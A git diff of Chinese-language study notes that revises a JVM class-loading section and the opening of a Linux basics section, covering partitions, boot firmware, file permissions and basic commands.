SuperClass[] sca = new SuperClass[10];
|
||||
```
|
||||
|
||||
3\. 常量在编译阶段会存入调用类的常量池中,本质上并没有直接引用到定义常量的类,因此不会触发定义常量的类的初始化。
|
||||
- 常量在编译阶段会存入调用类的常量池中,本质上并没有直接引用到定义常量的类,因此不会触发定义常量的类的初始化。
|
||||
|
||||
```java
|
||||
System.out.println(ConstClass.HELLOWORLD);
|
||||
```
|
||||
|
||||
## 3. 类加载过程
|
||||
## 类加载过程
|
||||
|
||||
包含了加载、验证、准备、解析和初始化这 5 个阶段。
|
||||
|
||||
### 3.1 加载
|
||||
### 1. 加载
|
||||
|
||||
加载是类加载的一个阶段,注意不要混淆。
|
||||
|
||||
@ -504,18 +499,29 @@ System.out.println(ConstClass.HELLOWORLD);
|
||||
- 从数据库读取,这种场景相对少见,例如有些中间件服务器(如 SAP Netweaver)可以选择把程序安装到数据库中来完成程序代码在集群间的分发。
|
||||
...
|
||||
|
||||
### 3.2 验证
|
||||
### 2. 验证
|
||||
|
||||
确保 Class 文件的字节流中包含的信息符合当前虚拟机的要求,并且不会危害虚拟机自身的安全。
|
||||
|
||||
主要有以下 4 个阶段:
|
||||
|
||||
1. 文件格式验证
|
||||
2. 元数据验证(对字节码描述的信息进行语义分析)
|
||||
3. 字节码验证(通过数据流和控制流分析,确保程序语义是合法、符合逻辑的,将对类的方法体进行校验分析)
|
||||
4. 符号引用验证
|
||||
(一)文件格式验证
|
||||
|
||||
### 3.3 准备
|
||||
验证字节流是否符合 Class 文件格式的规范,并且能被当前版本的虚拟机处理。
|
||||
|
||||
(二)元数据验证
|
||||
|
||||
对字节码描述的信息进行语义分析,以保证其描述的信息符合 Java 语言规范的要求。
|
||||
|
||||
(三)字节码验证
|
||||
|
||||
通过数据流和控制流分析,确保程序语义是合法、符合逻辑的。
|
||||
|
||||
(四)符号引用验证
|
||||
|
||||
发生在虚拟机将符号引用转换为直接引用的时候,对类自身以外(常量池中的各种符号引用)的信息进行匹配性校验。
|
||||
|
||||
### 3. 准备
|
||||
|
||||
类变量是被 static 修饰的变量,准备阶段为类变量分配内存并设置初始值,使用的是方法区的内存。
|
||||
|
||||
@ -533,13 +539,13 @@ public static int value = 123;
|
||||
public static final int value = 123;
|
||||
```
|
||||
|
||||
### 3.4 解析
|
||||
### 4. 解析
|
||||
|
||||
将常量池的符号引用替换为直接引用的过程。
|
||||
|
||||
### 3.5 初始化
|
||||
### 5. 初始化
|
||||
|
||||
初始化阶段即虚拟机执行类构造器 <clinit>() 方法的过程。
|
||||
初始化阶段才真正开始执行类中的定义的 Java 程序代码。初始化阶段即虚拟机执行类构造器 <clinit>() 方法的过程。
|
||||
|
||||
在准备阶段,类变量已经赋过一次系统要求的初始值,而在初始化阶段,根据程序员通过程序制定的主观计划去初始化类变量和其它资源。
|
||||
|
||||
@ -563,18 +569,18 @@ public class Test {
|
||||
|
||||
```java
|
||||
static class Parent {
|
||||
public static int A = 1;
|
||||
static {
|
||||
A = 2;
|
||||
}
|
||||
public static int A = 1;
|
||||
static {
|
||||
A = 2;
|
||||
}
|
||||
}
|
||||
|
||||
static class Sub extends Parent {
|
||||
public static int B = A;
|
||||
public static int B = A;
|
||||
}
|
||||
|
||||
public static void main(String[] args) {
|
||||
System.out.println(Sub.B); // 输出结果是父类中的静态变量值 A,也就是 2
|
||||
System.out.println(Sub.B); // 输出结果是父类中的静态变量 A 的值 ,也就是 2。
|
||||
}
|
||||
```
|
||||
|
||||
@ -584,47 +590,49 @@ public static void main(String[] args) {
|
||||
|
||||
- 虚拟机会保证一个类的 <clinit>() 方法在多线程环境下被正确的加锁和同步,如果多个线程同时初始化一个类,只会有一个线程执行这个类的 <clinit>() 方法,其它线程都会阻塞等待,直到活动线程执行 <clinit>() 方法完毕。如果在一个类的 <clinit>() 方法中有耗时的操作,就可能造成多个进程阻塞,在实际过程中此种阻塞很隐蔽。
|
||||
|
||||
## 4. 类加载器
|
||||
## 类加载器
|
||||
|
||||
虚拟机设计团队把类加载阶段中的“通过一个类的全限定名来获取描述此类的二进制字节流 ( 即字节码 )”这个动作放到 Java 虚拟机外部去实现,以便让应用程序自己决定如何去获取所需要的类。实现这个动作的代码模块称为“类加载器”。
|
||||
|
||||
### 4.1 类与类加载器
|
||||
### 1. 类与类加载器
|
||||
|
||||
对于任意一个类,都需要由加载它的类加载器和这个类本身一同确立其在 Java 虚拟机中的唯一性,每一个类加载器,都拥有一个独立的类名称空间。通俗而言:比较两个类是否“相等”(这里所指的“相等”,包括类的 Class 对象的 equals() 方法、isAssignableFrom() 方法、isInstance() 方法的返回结果,也包括使用 instanceof() 关键字对做对象所属关系判定等情况),只有在这两个类时由同一个类加载器加载的前提下才有意义,否则,即使这两个类来源于同一个 Class 文件,被同一个虚拟机加载,只要加载它们的类加载器不同,那这两个类就必定不相等。
|
||||
对于任意一个类,都需要由加载它的类加载器和这个类本身一同确立其在 Java 虚拟机中的唯一性,每一个类加载器,都拥有一个独立的类名称空间。通俗而言:比较两个类是否“相等”(这里所指的“相等”,包括类的 Class 对象的 equals() 方法、isAssignableFrom() 方法、isInstance() 方法的返回结果,也包括使用 instanceof 关键字做对象所属关系判定等情况),只有在这两个类是由同一个类加载器加载的前提下才有意义,否则,即使这两个类来源于同一个 Class 文件,被同一个虚拟机加载,只要加载它们的类加载器不同,那这两个类就必定不相等。
|
||||
|
||||
### 4.2 类加载器分类
|
||||
### 2. 类加载器分类
|
||||
|
||||
从 Java 虚拟机的角度来讲,只存在以下两种不同的类加载器:
|
||||
|
||||
一种是启动类加载器(Bootstrap ClassLoader),这个类加载器用 C++ 实现,是虚拟机自身的一部分;另一种就是所有其他类的加载器,这些类由 Java 实现,独立于虚拟机外部,并且全都继承自抽象类 java.lang.ClassLoader。
|
||||
- 启动类加载器(Bootstrap ClassLoader),这个类加载器用 C++ 实现,是虚拟机自身的一部分;
|
||||
|
||||
- 所有其他类的加载器,这些类由 Java 实现,独立于虚拟机外部,并且全都继承自抽象类 java.lang.ClassLoader。
|
||||
|
||||
从 Java 开发人员的角度看,类加载器可以划分得更细致一些:
|
||||
|
||||
- 启动类加载器(Bootstrap ClassLoader) 此类加载器负责将存放在 <JAVA_HOME>\lib 目录中的,或者被 -Xbootclasspath 参数所指定的路径中的,并且是虚拟机识别的(仅按照文件名识别,如 rt.jar,名字不符合的类库即使放在 lib 目录中也不会被加载)类库加载到虚拟机内存中。 启动类加载器无法被 Java 程序直接引用,用户在编写自定义类加载器时,如果需要把加载请求委派给引导类加载器,直接使用 null 代替即可。
|
||||
- 启动类加载器(Bootstrap ClassLoader)此类加载器负责将存放在 <JAVA_HOME>\lib 目录中的,或者被 -Xbootclasspath 参数所指定的路径中的,并且是虚拟机识别的(仅按照文件名识别,如 rt.jar,名字不符合的类库即使放在 lib 目录中也不会被加载)类库加载到虚拟机内存中。 启动类加载器无法被 Java 程序直接引用,用户在编写自定义类加载器时,如果需要把加载请求委派给启动类加载器,直接使用 null 代替即可。
|
||||
|
||||
- 扩展类加载器(Extension ClassLoader) 这个类加载器是由 ExtClassLoader(sun.misc.Launcher$ExtClassLoader)实现的。它负责将 <Java_Home>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中,开发者可以直接使用扩展类加载器。
|
||||
- 扩展类加载器(Extension ClassLoader)这个类加载器是由 ExtClassLoader(sun.misc.Launcher$ExtClassLoader)实现的。它负责将 <JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中,开发者可以直接使用扩展类加载器。
|
||||
|
||||
- 应用程序类加载器(Application ClassLoader) 这个类加载器是由 AppClassLoader(sun.misc.Launcher$AppClassLoader)实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值,因此一般称为系统类加载器。它负责加载用户类路径(ClassPath)上所指定的类库,开发者可以直接使用这个类加载器,如果应用程序中没有自定义过自己的类加载器,一般情况下这个就是程序中默认的类加载器。
|
||||
- 应用程序类加载器(Application ClassLoader)这个类加载器是由 AppClassLoader(sun.misc.Launcher$AppClassLoader)实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值,因此一般称为系统类加载器。它负责加载用户类路径(ClassPath)上所指定的类库,开发者可以直接使用这个类加载器,如果应用程序中没有自定义过自己的类加载器,一般情况下这个就是程序中默认的类加载器。
|
||||
|
||||
### 4.3 双亲委派模型
|
||||
### 3. 双亲委派模型
|
||||
|
||||
应用程序都是由三种类加载器相互配合进行加载的,如果有必要,还可以加入自己定义的类加载器。下图展示的类加载器之间的层次关系,称为类加载器的双亲委派模型(Parents Delegation Model)。该模型要求除了顶层的启动类加载器外,其余的类加载器都应有自己的父类加载器,这里类加载器之间的父子关系一般通过组合(Composition)关系来实现,而不是通过继承(Inheritance)的关系实现。
|
||||
|
||||
<div align="center"> <img src="../pics//2cdc3ce2-fa82-4c22-baaa-000c07d10473.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//class_loader_hierarchy.png" width="600"/> </div><br>
|
||||
|
||||
**工作过程**
|
||||
**(一)工作过程**
|
||||
|
||||
如果一个类加载器收到了类加载的请求,它首先不会自己去尝试加载,而是把这个请求委派给父类加载器,每一个层次的加载器都是如此,依次递归,因此所有的加载请求最终都应该传送到顶层的启动类加载器中,只有当父加载器反馈自己无法完成此加载请求(它搜索范围中没有找到所需类)时,子加载器才会尝试自己加载。
|
||||
如果一个类加载器收到了类加载的请求,它首先不会自己去尝试加载,而是把这个请求委派给父类加载器,每一个层次的加载器都是如此,依次递归。因此所有的加载请求最终都应该传送到顶层的启动类加载器中,只有当父加载器反馈自己无法完成此加载请求(它搜索范围中没有找到所需类)时,子加载器才会尝试自己加载。
|
||||
|
||||
**好处**
|
||||
**(二)好处**
|
||||
|
||||
使用双亲委派模型来组织类加载器之间的关系,使得 Java 类随着它的类加载器一起具备了一种带有优先级的层次关系。例如类 java.lang.Object,它存放再 rt.jar 中,无论哪个类加载器要加载这个类,最终都是委派给处于模型最顶端的启动类加载器进行加载,因此 Object 类在程序的各种类加载器环境中都是同一个类。相反,如果没有双亲委派模型,由各个类加载器自行加载的话,如果用户编写了一个称为`java.lang.Object 的类,并放在程序的 ClassPath 中,那系统中将会出现多个不同的 Object 类,程序将变得一片混乱。如果开发者尝试编写一个与 rt.jar 类库中已有类重名的 Java 类,将会发现可以正常编译,但是永远无法被加载运行。
|
||||
使用双亲委派模型来组织类加载器之间的关系,使得 Java 类随着它的类加载器一起具备了一种带有优先级的层次关系。例如类 java.lang.Object,它存放在 rt.jar 中,无论哪个类加载器要加载这个类,最终都是委派给处于模型最顶端的启动类加载器进行加载,因此 Object 类在程序的各种类加载器环境中都是同一个类。相反,如果没有双亲委派模型,由各个类加载器自行加载的话,如果用户编写了一个称为java.lang.Object 的类,并放在程序的 ClassPath 中,那系统中将会出现多个不同的 Object 类,程序将变得一片混乱。如果开发者尝试编写一个与 rt.jar 类库中已有类重名的 Java 类,将会发现可以正常编译,但是永远无法被加载运行。
|
||||
|
||||
**实现**
|
||||
**(三)实现**
|
||||
|
||||
```java
|
||||
protected synchronized Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException{
|
||||
//check the class has been loaded or not
|
||||
// 先检查请求的类是否已经被加载过了
|
||||
Class c = findLoadedClass(name);
|
||||
if(c == null) {
|
||||
try{
|
||||
@ -634,9 +642,10 @@ protected synchronized Class<?> loadClass(String name, boolean resolve) throws C
|
||||
c = findBootstrapClassOrNull(name);
|
||||
}
|
||||
} catch(ClassNotFoundException e) {
|
||||
//if throws the exception , the father can not complete the load
|
||||
// 如果父类加载器抛出 ClassNotFoundException,说明父类加载器无法完成加载请求
|
||||
}
|
||||
if(c == null) {
|
||||
// 如果父类加载器无法完成加载请求,再调用自身的 findClass() 来进行加载
|
||||
c = findClass(name);
|
||||
}
|
||||
}
|
||||
@ -647,7 +656,7 @@ protected synchronized Class<?> loadClass(String name, boolean resolve) throws C
|
||||
}
|
||||
```
|
||||
|
||||
# JVM 参数
|
||||
# 四、JVM 参数
|
||||
|
||||
## GC 优化配置
|
||||
|
||||
@ -672,3 +681,14 @@ protected synchronized Class<?> loadClass(String name, boolean resolve) throws C
|
||||
```java
|
||||
java -Xmx12m -Xms3m -Xmn1m -XX:PermSize=20m -XX:MaxPermSize=20m -XX:+UseSerialGC -jar java-application.jar
|
||||
```
|
||||
|
||||
# 参考资料
|
||||
|
||||
- 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
|
||||
- [Jvm memory](https://www.slideshare.net/benewu/jvm-memory)
|
||||
- [Memory Architecture Of JVM(Runtime Data Areas)](https://hackthejava.wordpress.com/2015/01/09/memory-architecture-by-jvmruntime-data-areas/)
|
||||
- [JVM Run-Time Data Areas](https://www.programcreek.com/2013/04/jvm-run-time-data-areas/)
|
||||
- [Android on x86: Java Native Interface and the Android Native Development Kit](http://www.drdobbs.com/architecture-and-design/android-on-x86-java-native-interface-and/240166271)
|
||||
- [深入理解 JVM(2)——GC 算法与内存分配策略](https://crowhawk.github.io/2017/08/10/jvm_2/)
|
||||
- [深入理解 JVM(3)——7 种垃圾收集器](https://crowhawk.github.io/2017/08/15/jvm_3/)
|
||||
- [JVM Internals](http://blog.jamesdbloom.com/JVMInternals.html)
|
2674
notes/Leetcode 题解.md
662
notes/Linux.md
@ -1,121 +1,99 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [常用操作以及概念](#常用操作以及概念)
|
||||
* [一、常用操作以及概念](#一常用操作以及概念)
|
||||
* [求助](#求助)
|
||||
* [关机](#关机)
|
||||
* [查看进程](#查看进程)
|
||||
* [查看端口](#查看端口)
|
||||
* [PATH](#path)
|
||||
* [运行等级](#运行等级)
|
||||
* [sudo](#sudo)
|
||||
* [GNU](#gnu)
|
||||
* [包管理工具](#包管理工具)
|
||||
* [常见发行版本](#常见发行版本)
|
||||
* [分区](#分区)
|
||||
* [发行版](#发行版)
|
||||
* [VIM 三个模式](#vim-三个模式)
|
||||
* [二、分区](#二分区)
|
||||
* [磁盘的文件名](#磁盘的文件名)
|
||||
* [分区表](#分区表)
|
||||
* [1. MBR](#1-mbr)
|
||||
* [2. GPT](#2-gpt)
|
||||
* [开机检测程序](#开机检测程序)
|
||||
* [1. BIOS](#1-bios)
|
||||
* [2. UEFI](#2-uefi)
|
||||
* [挂载](#挂载)
|
||||
* [文件权限与目录配置](#文件权限与目录配置)
|
||||
* [三、文件](#三文件)
|
||||
* [文件权限概念](#文件权限概念)
|
||||
* [文件属性以及权限的修改](#文件属性以及权限的修改)
|
||||
* [1. 修改文件所属群组](#1-修改文件所属群组)
|
||||
* [2. 修改文件拥有者](#2-修改文件拥有者)
|
||||
* [3. 修改权限](#3-修改权限)
|
||||
* [目录的权限](#目录的权限)
|
||||
* [文件默认权限](#文件默认权限)
|
||||
* [目录配置](#目录配置)
|
||||
* [文件与目录](#文件与目录)
|
||||
* [文件时间](#文件时间)
|
||||
* [文件与目录的基本操作](#文件与目录的基本操作)
|
||||
* [1. ls](#1-ls)
|
||||
* [2. cp](#2-cp)
|
||||
* [3. rm](#3-rm)
|
||||
* [4. mv](#4-mv)
|
||||
* [获取文件内容](#获取文件内容)
|
||||
* [1. cat](#1-cat)
|
||||
* [2. tac](#2-tac)
|
||||
* [3. more](#3-more)
|
||||
* [4. less](#4-less)
|
||||
* [5. head](#5-head)
|
||||
* [6. tail](#6-tail)
|
||||
* [7. od](#7-od)
|
||||
* [8. touch](#8-touch)
|
||||
* [指令与文件搜索](#指令与文件搜索)
|
||||
* [1. which](#1-which)
|
||||
* [2. whereis](#2-whereis)
|
||||
* [3. locate](#3-locate)
|
||||
* [4. find](#4-find)
|
||||
* [4.1 与时间有关的选项](#41-与时间有关的选项)
|
||||
* [4.2 与文件拥有者和所属群组有关的选项](#42-与文件拥有者和所属群组有关的选项)
|
||||
* [4.3 与文件权限和名称有关的选项](#43-与文件权限和名称有关的选项)
|
||||
* [磁盘与文件系统](#磁盘与文件系统)
|
||||
* [四、磁盘与文件系统](#四磁盘与文件系统)
|
||||
* [文件系统的组成](#文件系统的组成)
|
||||
* [inode](#inode)
|
||||
* [目录的 inode 与 block](#目录的-inode-与-block)
|
||||
* [实体链接与符号链接](#实体链接与符号链接)
|
||||
* [1. 实体链接](#1-实体链接)
|
||||
* [2. 符号链接](#2-符号链接)
|
||||
* [压缩与打包](#压缩与打包)
|
||||
* [五、压缩与打包](#五压缩与打包)
|
||||
* [压缩](#压缩)
|
||||
* [1. gzip](#1-gzip)
|
||||
* [2. bzip2](#2-bzip2)
|
||||
* [3. xz](#3-xz)
|
||||
* [打包](#打包)
|
||||
* [Bash](#bash)
|
||||
* [Bash 特性](#bash-特性)
|
||||
* [六、Bash](#六bash)
|
||||
* [特性](#特性)
|
||||
* [变量操作](#变量操作)
|
||||
* [指令搜索顺序](#指令搜索顺序)
|
||||
* [数据流重定向](#数据流重定向)
|
||||
* [管线指令](#管线指令)
|
||||
* [1. 提取指令:cut](#1-提取指令cut)
|
||||
* [2. 排序命令:sort、uniq](#2-排序命令sortuniq)
|
||||
* [3. 双向输出重定向:tee](#3-双向输出重定向tee)
|
||||
* [4. 字符转换指令:tr、col、expand、join、paste](#4-字符转换指令trcolexpandjoinpaste)
|
||||
* [5. 分区指令:split](#5-分区指令split)
|
||||
* [正规表示法与文件格式化处理](#正规表示法与文件格式化处理)
|
||||
* [七、管线指令](#七管线指令)
|
||||
* [提取指令](#提取指令)
|
||||
* [排序指令](#排序指令)
|
||||
* [双向输出重定向](#双向输出重定向)
|
||||
* [字符转换指令](#字符转换指令)
|
||||
* [分区指令](#分区指令)
|
||||
* [八、正则表达式](#八正则表达式)
|
||||
* [grep](#grep)
|
||||
* [printf](#printf)
|
||||
* [awk](#awk)
|
||||
* [vim 三个模式](#vim-三个模式)
|
||||
* [九、进程管理](#九进程管理)
|
||||
* [查看进程](#查看进程)
|
||||
* [进程状态](#进程状态)
|
||||
* [SIGCHILD](#sigchild)
|
||||
* [孤儿进程和僵死进程](#孤儿进程和僵死进程)
|
||||
* [十、I/O 复用](#十io-复用)
|
||||
* [概念理解](#概念理解)
|
||||
* [I/O 模型](#io-模型)
|
||||
* [select poll epoll](#select-poll-epoll)
|
||||
* [select 和 poll 比较](#select-和-poll-比较)
|
||||
* [eopll 工作模式](#eopll-工作模式)
|
||||
* [select poll epoll 应用场景](#select-poll-epoll-应用场景)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 常用操作以及概念
|
||||
# 一、常用操作以及概念
|
||||
|
||||
## 求助
|
||||
|
||||
**1. --help**
|
||||
### 1. --help
|
||||
|
||||
指令的基本用法与选项介绍。
|
||||
|
||||
**2. man**
|
||||
### 2. man
|
||||
|
||||
man 是 manual 的缩写,将指令的具体信息显示出来。
|
||||
|
||||
当执行 man date 时,有 DATE(1) 出现,其中的数字代表指令的类型,常用的数字及其类型如下:
|
||||
|
||||
| 代号 | 类型 |
|
||||
| -- | -- |
|
||||
| :--: | -- |
|
||||
| 1 | 用户在 shell 环境中可以操作的指令或者可执行文件 |
|
||||
| 5 | 配置文件 |
|
||||
| 8 | 系统管理员可以使用的管理指令 |
|
||||
|
||||
**3. info**
|
||||
### 3. info
|
||||
|
||||
info 与 man 类似,但是 info 将文档分成一个个页面,每个页面可以进行跳转。
|
||||
|
||||
## 关机
|
||||
|
||||
**1. sync**
|
||||
### 1. sync
|
||||
|
||||
为了加快对磁盘上文件的读写速度,位于内存中的文件数据不会立即同步到磁盘上,因此关机之前需要先进行 sync 同步操作。
|
||||
为了加快对磁盘文件的读写速度,位于内存中的文件数据不会立即同步到磁盘上,因此关机之前需要先进行 sync 同步操作。
|
||||
|
||||
**2. shutdown**
|
||||
### 2. shutdown
|
||||
|
||||
```html
|
||||
# /sbin/shutdown [-krhc] [时间] [警告讯息]
|
||||
@ -125,22 +103,10 @@ info 与 man 类似,但是 info 将文档分成一个个页面,每个页面
|
||||
-c : 取消已经在进行的 shutdown 指令内容
|
||||
```
|
||||
|
||||
**3. 其它关机指令**
|
||||
### 3. 其它关机指令
|
||||
|
||||
reboot、halt、poweroff。
|
||||
|
||||
## 查看进程
|
||||
|
||||
```html
|
||||
ps aux | grep threadx
|
||||
```
|
||||
|
||||
## 查看端口
|
||||
|
||||
```html
|
||||
netstat -anp | grep 80
|
||||
```
|
||||
|
||||
## PATH
|
||||
|
||||
可以在环境变量 PATH 中声明可执行文件的路径,路径之间用 : 分隔。
|
||||
@ -165,7 +131,7 @@ netstat -anp | grep 80
|
||||
|
||||
## GNU
|
||||
|
||||
GNU 计划,又译为革奴计划,它的目标是创建一套完全自由的操作系统,称为 GNU,其内容软件完全以 GPL 方式发布。其中 GPL 全称为 GNU 通用公共许可协议,包含了以下内容:
|
||||
GNU 计划,译为革奴计划,它的目标是创建一套完全自由的操作系统,称为 GNU,其内容软件完全以 GPL 方式发布。其中 GPL 全称为 GNU 通用公共许可协议,包含了以下内容:
|
||||
|
||||
- 以任何目的运行此程序的自由;
|
||||
- 再复制的自由;
|
||||
@ -177,7 +143,7 @@ RPM 和 DPKG 为最常见的两类软件包管理工具。RPM 全称为 Redhat P
|
||||
|
||||
YUM 基于 RPM 包管理工具,具有依赖管理功能,并具有软件升级的功能。
|
||||
|
||||
## 常见发行版本
|
||||
## 发行版
|
||||
|
||||
Linux 发行版是 Linux 内核及各种应用软件的集成版本。
|
||||
|
||||
@ -186,13 +152,30 @@ Linux 发行版是 Linux 内核及各种应用软件的集成版本。
|
||||
| DPKG | Ubuntu | Debian |
|
||||
| RPM | Red Hat | Fedora / CentOS |
|
||||
|
||||
# 分区
|
||||
## VIM 三个模式
|
||||
|
||||
- 一般指令模式(Command mode):进入 VIM 的默认模式,可以用于移动游标查看内容;
|
||||
- 编辑模式(Insert mode):按下 "i" 等按键之后进入,可以对文本进行编辑;
|
||||
- 指令列模式(Bottom-line mode):按下 ":" 按键之后进入,用于保存退出等操作。
|
||||
|
||||
<div align="center"> <img src="../pics//5942debd-fc00-477a-b390-7c5692cc8070.jpg" width="400"/> </div><br>
|
||||
|
||||
在指令列模式下,有以下命令用于离开或者保存文件。
|
||||
|
||||
| 命令 | 作用 |
|
||||
| :--: | -- |
|
||||
| :w | 写入磁盘|
|
||||
| :w! | 当文件为只读时,强制写入磁盘。到底能不能写入,与用户对该文件的权限有关 |
|
||||
| :q | 离开 |
|
||||
| :q! | 强制离开不保存 |
|
||||
| :wq | 写入磁盘后离开 |
|
||||
| :wq!| 强制写入磁盘后离开 |
|
||||
|
||||
# 二、分区
|
||||
|
||||
## 磁盘的文件名
|
||||
|
||||
Linux 中每个硬件都被当做一个文件。
|
||||
|
||||
常见磁盘的文件名:
|
||||
Linux 中每个硬件都被当做一个文件,包括磁盘。常见磁盘的文件名如下:
|
||||
|
||||
- SCSI/SATA/USB 磁盘:/dev/sd[a-p]
|
||||
- IDE 磁盘:/dev/hd[a-d]
|
||||
@ -205,9 +188,9 @@ Linux 中每个硬件都被当做一个文件。
|
||||
|
||||
### 1. MBR
|
||||
|
||||
MBR 中,第一个扇区最重要,里面有主要开机记录(Master boot record, MBR)及分区表(partition table),其中 MBR 占 446 bytes,partition table 占 64 bytes。
|
||||
MBR 中,第一个扇区最重要,里面有主要开机记录(Master boot record, MBR)及分区表(partition table),其中 MBR 占 446 bytes,分区表占 64 bytes。
|
||||
|
||||
分区表只有 64 bytes,最多只能存储 4 个分区,这 4 个分区为主分区(Primary)和扩展分区(Extended)。其中扩展分区只有一个,它将其它空间用来记录分区表,因此通过扩展分区可以分出更多区分,这些分区称为逻辑分区。
|
||||
分区表只有 64 bytes,最多只能存储 4 个分区,这 4 个分区为主分区(Primary)和扩展分区(Extended)。其中扩展分区只有一个,它将其它空间用来记录分区表,因此通过扩展分区可以分出更多分区,这些分区称为逻辑分区。
|
||||
|
||||
Linux 也把分区当成文件,分区文件的命名方式为:磁盘文件名 + 编号,例如 /dev/sda1。注意,逻辑分区的编号从 5 开始。
|
||||
|
||||
@ -219,20 +202,20 @@ GPT 第 1 个区块记录了 MBR,紧接着是 33 个区块记录分区信息
|
||||
|
||||
GPT 没有扩展分区概念,都是主分区,最多可以分 128 个分区。
|
||||
|
||||
<div align="center"> <img src="../pics//a5c25452-6fa5-49e7-9322-823077442775.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//GUID_Partition_Table_Scheme.svg.png" width="400"/> </div><br>
|
||||
|
||||
## 开机检测程序
|
||||
|
||||
### 1. BIOS
|
||||
|
||||
BIOS 是开机的时候计算机执行的第一个程序,这个程序知道可以开机的磁盘,并读取磁盘第一个扇区的 MBR,由 MBR 执行其中的开机管理程序,这个开机管理程序的会加载操作系统的核心文件。
|
||||
BIOS 是开机的时候计算机执行的第一个程序,这个程序知道可以开机的磁盘,并读取磁盘第一个扇区的 MBR,由 MBR 执行其中的开机管理程序,这个开机管理程序会加载操作系统的核心文件。
|
||||
|
||||
MBR 中的开机管理程序提供以下功能:选单、载入核心文件以及转交其它开机管理程序。转交这个功能可以用来实现了多重引导,只需要将另一个操作系统的开机管理程序安装在其它分区的启动扇区上,在启动 MBR 中的开机管理程序时,就可以选择启动当前的操作系统或者转交给其它开机管理程序从而启动另一个操作系统。
|
||||
|
||||
<div align="center"> <img src="../pics//f900f266-a323-42b2-bc43-218fdb8811a8.jpg"/> </div><br>
|
||||
|
||||
安装多重引导,最好先安装 Windows 再安装 Linux。因为安装 Windows 时会覆盖掉 MBR,而 Linux 可以选择将开机管理程序安装在 MBR 或者其它分区的启动扇区,并且可以设置开机管理程序的选单。
|
||||
|
||||
<div align="center"> <img src="../pics//f900f266-a323-42b2-bc43-218fdb8811a8.jpg" width="600"/> </div><br>
|
||||
|
||||
### 2. UEFI
|
||||
|
||||
UEFI 相比于 BIOS 来说功能更为全面,也更为安全。
|
||||
@ -241,15 +224,15 @@ UEFI 相比于 BIOS 来说功能更为全面,也更为安全。
|
||||
|
||||
挂载利用目录作为分区的进入点,也就是说,进入目录之后就可以读取分区的数据。
|
||||
|
||||
<div align="center"> <img src="../pics//249f3bb1-feee-4805-a259-a72699d638ca.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//249f3bb1-feee-4805-a259-a72699d638ca.jpg" width="500"/> </div><br>
|
||||
|
||||
# 文件权限与目录配置
|
||||
# 三、文件
|
||||
|
||||
## 文件权限概念
|
||||
|
||||
把用户分为三种:文件拥有者、群组以及其它人,对不同的用户有不同的文件权限。
|
||||
|
||||
使用 ls 查看一个文件时,会显示一个文件的信息,例如 drwxr-xr-x. 3 root root 17 May 6 00:14 .config,对这个信息的解释如下:
|
||||
使用 ls 查看一个文件时,会显示一个文件的信息,例如 `drwxr-xr-x. 3 root root 17 May 6 00:14 .config`,对这个信息的解释如下:
|
||||
|
||||
- drwxr-xr-x:文件类型以及权限,第 1 位为文件类型字段,后 9 位为文件权限字段。
|
||||
- 3:链接数;
|
||||
@ -325,8 +308,8 @@ UEFI 相比于 BIOS 来说功能更为全面,也更为安全。
|
||||
|
||||
## 文件默认权限
|
||||
|
||||
文件默认权限:文件默认没有可执行权限,因此为 666,也就是 -rw-rw-rw- 。
|
||||
目录默认权限:目录必须要能够进入,也就是必须拥有可执行权限,因此为 777 ,也就是 drwxrwxrwx。
|
||||
- 文件默认权限:文件默认没有可执行权限,因此为 666,也就是 -rw-rw-rw- 。
|
||||
- 目录默认权限:目录必须要能够进入,也就是必须拥有可执行权限,因此为 777 ,也就是 drwxrwxrwx。
|
||||
|
||||
可以通过 umask 设置或者查看文件的默认权限,通常以掩码的形式来表示,例如 002 表示其它用户的权限去除了一个 2 的权限,也就是写权限,因此建立新文件时默认的权限为 -rw-rw-r-- 。
|
||||
|
||||
@ -338,11 +321,7 @@ UEFI 相比于 BIOS 来说功能更为全面,也更为安全。
|
||||
- /usr (unix software resource):所有系统默认软件都会安装到这个目录;
|
||||
- /var (variable):存放系统或程序运行过程中的数据文件。
|
||||
|
||||
完整的目录树如下:
|
||||
|
||||
<div align="center"> <img src="../pics//27ace615-558f-4dfb-8ad4-7ac769c10118.jpg"/> </div><br>
|
||||
|
||||
# 文件与目录
|
||||
<div align="center"> <img src="../pics//linux-filesystem.png" width=""/> </div><br>
|
||||
|
||||
## 文件时间
|
||||
|
||||
@ -448,8 +427,8 @@ cp [-adfilprsu] source destination
|
||||
-a : 更新 atime
|
||||
-c : 更新 ctime,若该文件不存在则不建立新文件
|
||||
-m : 更新 mtime
|
||||
-d : 后面可以接欲更新的日期而不用当前的日期,也可以使用 --date="日期或时间"
|
||||
-t : 后面可以接欲更新的时间而不用当前的时间,格式为[YYYYMMDDhhmm]
|
||||
-d : 后面可以接更新日期而不使用当前日期,也可以使用 --date="日期或时间"
|
||||
-t : 后面可以接更新时间而不使用当前时间,格式为[YYYYMMDDhhmm]
|
||||
```
|
||||
|
||||
## 指令与文件搜索
|
||||
@ -487,10 +466,11 @@ locate 使用 /var/lib/mlocate/ 这个数据库来进行搜索,它存储在内
|
||||
find 可以使用文件的属性和权限进行搜索。
|
||||
|
||||
```html
|
||||
# find filename [option]
|
||||
# find [basedir] [option]
|
||||
example: find . -name "shadow*"
|
||||
```
|
||||
|
||||
#### 4.1 与时间有关的选项
|
||||
(一)与时间有关的选项
|
||||
|
||||
```html
|
||||
-mtime n :列出在 n 天前的那一天修改过内容的文件
|
||||
@ -501,9 +481,9 @@ find 可以使用文件的属性和权限进行搜索。
|
||||
|
||||
+4、4 和 -4 的指示的时间范围如下:
|
||||
|
||||
<div align="center"> <img src="../pics//658fc5e7-79c0-4247-9445-d69bf194c539.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//658fc5e7-79c0-4247-9445-d69bf194c539.png" width=""/> </div><br>
|
